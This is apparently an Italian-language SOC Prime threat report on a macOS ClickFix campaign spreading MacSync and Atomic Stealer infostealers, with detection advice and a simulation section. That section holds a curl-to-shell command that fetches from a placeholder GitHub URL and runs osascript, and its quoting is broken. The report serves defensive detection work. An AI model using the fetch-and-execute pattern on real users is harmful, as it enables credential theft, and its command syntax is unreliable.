SOC Prime Bias: Alto

10 Aug 2026 16:48 UTC

La campagna ClickFix per macOS evolve con cancelli di infezione nascosti

Author Photo
SOC Prime Team linkedin icon Segui
La campagna ClickFix per macOS evolve con cancelli di infezione nascosti
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sintesi

Una campagna ClickFix per macOS sta distribuendo infostealer inclusi MacSync e Atomic Stealer (AMOS) attraverso un sofisticato gateway di fingerprinting lato server. L’operazione utilizza domini generati algoritmicamente e browser fingerprinting per garantire che i payload dannosi vengano consegnati solo ai veri utenti macOS, aiutando a eludere l’analisi della sicurezza automatizzata e i crawler. Questa evoluzione segna un passaggio da un’ingegneria sociale ampia a tecniche di consegna altamente mirate e mascherate.

Indagine

Microsoft Threat Intelligence ha tracciato un cluster di oltre 250 domini con uno schema di denominazione distintivo per scoprire la campagna. L’indagine ha rivelato una transizione dalla consegna diretta dell’esca a un processo a due fasi con profilazione JavaScript leggera. Valutando i segnali WebGL, gli offset di fuso orario e i controlli di anti-analisi, i ricercatori hanno determinato come l’infrastruttura selettivamente chiamasse gli ambienti macOS mentre presentava contenuti esca benigni ai richieste non qualificate.

Mitigazione

Le organizzazioni dovrebbero istruirsi che gli aggiornamenti software legittimi non richiedono di incollare comandi nel Terminale. I team di sicurezza dovrebbero monitorare attività terminali sospette che coinvolgono utility come curl, base64, gunzip, o osascript, particolarmente quando vengono attivati dopo la navigazione web. Rafforzare le protezioni intorno ai dati di Keychain e monitorare l’archiviazione non autorizzata di file sensibili può anche ridurre l’impatto di una compromissione riuscita.

Risposta

Se viene rilevata un’esecuzione sospetta nel Terminal o accesso non autorizzato agli archivi di credenziali, i rispondenti dovrebbero isolare immediatamente il macOS endpoint interessato. Indagare le connessioni in uscita verso domini a bassa reputazione, con particolare attenzione a /curl/ schemi di richiesta. Gli host di staging maligni identificati dovrebbero essere bloccati e lo storico recente della shell dovrebbe essere rivisto per l’esecuzione di comandi codificati o offuscati.

Flusso di Attacco

Esecuzione Simulazione

Requisiti preliminari: Il Check Pre-volo per Telemetria e Baseline deve essere passato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

  • Narrazione dell’Attacco & Comandi: L’avversario inizia una campagna ClickFix presentando un falso messaggio di errore in un browser web, istruendo l’utente a “Correggere l’errore” incollando un determinato comando nel Terminal. L’obiettivo dell’attaccante è stabilire persistenza o scaricare malware. Il comando utilizza curl per ottenere un payload AppleScript dannoso da un server remoto e lo convoglia in osascript -e per eseguirlo immediatamente in memoria, aggirando la scansione tradizionale basata su file.

  • Script di Test di Regressione:

    # Simulazione di ClickFix: Recupero di un payload ed esecuzione tramite osascript
    # Nota: Utilizziamo un comando echo benigno per simulare il payload remoto per evitare un'infezione reale.
    
    curl -s https://raw.githubusercontent.com/example/payload/main/script.sh | zsh -c 'osascript -e "display dialog "Avviso di sicurezza: Aggiornamento di sistema richiesto""'
    
    # Per assicurare che la regola di rilevamento si attivi, eseguiamo il pattern esatto:
    osascript -e 'say "Questo è un attacco simulato"'
  • Comandi di Pulizia:

    # Nessun file viene scritto su disco in questa specifica esecuzione a riga di comando,
    # ma ci assicuriamo che tutti i processi in background vengano terminati.
    killall osascript || true